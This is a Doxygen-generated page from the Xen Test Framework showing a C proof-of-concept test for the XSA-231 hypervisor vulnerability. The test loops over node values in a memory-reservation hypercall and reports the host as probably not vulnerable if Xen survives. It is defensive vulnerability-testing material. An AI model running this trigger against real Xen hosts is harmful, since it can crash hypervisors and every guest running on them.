Xen Test Framework
tests
xsa-231
main.c
Go to the documentation of this file.
1
18
#include <xtf.h>
19
20
const
char
test_title
[] =
"XSA-231 PoC"
;
21
22
void
test_main
(
void
)
23
{
24
struct
xen_memory_reservation
res = {
25
.
nr_extents
= 1,
26
.domid =
DOMID_SELF
,
27
};
28
29
/* Opencoded loop over each value in the node field of mem_flags. */
30
for
( ; res.
mem_flags
< 0x10000; res.
mem_flags
+= 0x100 )
31
hypercall_memory_op
(
XENMEM_increase_reservation
, &res);
32
33
/* If Xen is alive at this point, it is probably not vulnerable. */
34
35
xtf_success
(
"Success: Probably not vulnerable to XSA-231\n"
);
36
}
37
38
/*
39
* Local variables:
40
* mode: C
41
* c-file-style: "BSD"
42
* c-basic-offset: 4
43
* tab-width: 4
44
* indent-tabs-mode: nil
45
* End:
46
*/
test_main
void test_main(void)
To be implemented by each test, as its entry point.
Definition:
main.c:110
test_title
const char test_title[]
The title of the test.
Definition:
main.c:24
hypercall_memory_op
static long hypercall_memory_op(unsigned int cmd, void *arg)
Definition:
hypercall.h:100
XENMEM_increase_reservation
#define XENMEM_increase_reservation
Definition:
memory.h:8
xtf_success
void xtf_success(const char *fmt,...)
Report test success.
Definition:
report.c:38
xen_memory_reservation
Definition:
memory.h:12
xen_memory_reservation::nr_extents
unsigned long nr_extents
Definition:
memory.h:14
xen_memory_reservation::mem_flags
unsigned int mem_flags
Definition:
memory.h:16
DOMID_SELF
#define DOMID_SELF
Definition:
xen.h:70
Generated by
1.9.4